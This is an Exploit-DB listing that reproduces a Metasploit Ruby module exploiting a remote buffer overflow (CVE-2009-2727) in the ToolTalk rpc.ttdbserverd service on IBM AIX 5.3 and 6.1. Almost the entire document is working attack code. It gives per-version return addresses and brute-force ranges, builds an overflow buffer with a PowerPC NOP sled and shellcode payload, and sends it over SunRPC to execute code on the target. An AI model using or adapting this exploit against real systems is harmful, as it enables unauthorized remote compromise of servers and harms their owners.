标题: ToolTalk - rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) (Metasploit) EDB-ID: 16930 CVE: 2009-2727 类型: REMOTE 平台: AIX 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: rpc_ttdbserverd_realpath.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::SunRPC
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
   'Description'    => %q{
     This module exploits a buffer overflow vulnerability in _tt_internal_realpath
    function of the ToolTalk database server (rpc.ttdbserverd).
   },
   'Author'         =>
    [
     'Adriano Lima <adriano@risesecurity.org>',
     'ramon'
    ],
   'Version'        => '$Revision: 10998 $',
   'Platform'       => [ 'aix' ],
   'References'     =>
    [
     [ 'CVE', '2009-2727'],
     [ 'OSVDB', '55151' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'Targets'        =>
    [
     [
      'IBM AIX Version 6.1.4',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20099430+4096,
       'Addr1'    => 0x2ff1ff50-8192,
       'AIX'  => '6.1.4',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20099430-8192 },
        'Stop'  => { 'Ret' => 0x20099430+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 6.1.3',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20099280+4096,
       'Addr1'    => 0x2ff1ffd0-8192,
       'AIX'  => '6.1.3',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20099280-8192 },
        'Stop'  => { 'Ret' => 0x20099280+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 6.1.2',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20099280+4096,
       'Addr1'    => 0x2ff1ffd0-8192,
       'AIX'  => '6.1.2',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20099280-8192 },
        'Stop'  => { 'Ret' => 0x20099280+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 6.1.1',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20099280+4096,
       'Addr1'    => 0x2ff1ffd0-8192,
       'AIX'  => '6.1.1',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20099280-8192 },
        'Stop'  => { 'Ret' => 0x20099280+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 6.1.0',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20099280+4096,
       'Addr1'    => 0x2ff1ffd0-8192,
       'AIX'  => '6.1.0',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20099280-8192 },
        'Stop'  => { 'Ret' => 0x20099280+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20096ba0+4096,
       'Addr1'    => 0x2ff1ff14-8192,
       'AIX'  => '5.3.9',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20096ba0-8192 },
        'Stop'  => { 'Ret' => 0x20096ba0+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 5.3.10',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20096bf0+4096,
       'Addr1'    => 0x2ff1ff14-8192,
       'AIX'  => '5.3.10',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20096bf0-8192 },
        'Stop'  => { 'Ret' => 0x20096bf0+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 5.3.9',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20096ba0+4096,
       'Addr1'    => 0x2ff1ff14-8192,
       'AIX'  => '5.3.9',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20096ba0-8192 },
        'Stop'  => { 'Ret' => 0x20096ba0+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 5.3.8',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20096c10+4096,
       'Addr1'    => 0x2ff1ff98-8192,
       'AIX'  => '5.3.8',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20096c10-8192 },
        'Stop'  => { 'Ret' => 0x20096c10+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'IBM AIX Version 5.3.7',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0x20096c10+4096,
       'Addr1'    => 0x2ff1ff98-8192,
       'AIX'  => '5.3.7',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x20096c10-8192 },
        'Stop'  => { 'Ret' => 0x20096c10+8192 },
        'Step'  => 1024
       }
      }
     ],
     [
      'Debug IBM AIX Version 6.1',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0xaabbccdd,
       'Addr1'    => 0xddccbbaa,
       'AIX'  => '6.1.4',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0xaabbccdd },
        'Stop'  => { 'Ret' => 0xaabbccdd },
        'Step'  => 1024
       }
      }
     ],
     [
      'Debug IBM AIX Version 5.3',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'Ret'      => 0xaabbccdd,
       'Addr1'    => 0xddccbbaa,
       'AIX'  => '5.3.10',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0xaabbccdd },
        'Stop'  => { 'Ret' => 0xaabbccdd },
        'Step'  => 1024
       }
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 17 2009'))

 end

 def brute_exploit(brute_target)

  if not @aixpayload
   datastore['AIX'] = target['AIX']
   @aixpayload = regenerate_payload.encoded
  end

  print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])

  begin

   sunrpc_create('tcp', 100083, 1)

   if target['AIX'] =~ /6\./
    buf = "A"
   else
    buf = "AA"
   end

   buf << [target['Addr1']].pack('N') * (1022 + 8)
   buf << [brute_target['Ret']].pack('N') * 32

   if target['AIX'] =~ /6\./
    buf << "AAA"
   else
    buf << "AA"
   end

   buf << "\x7f\xff\xfb\x78" * 1920
   buf << @aixpayload
   buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)

   print_status('Sending procedure 15 call message...')
   sunrpc_call(15, buf)

   sunrpc_destroy
   handler

  rescue Rex::Proto::SunRPC::RPCTimeout
   # print_error('RPCTimeout')
  rescue EOFError
   # print_error('EOFError')
  end
 end

end URL: https://www.exploit-db.com/exploits/16930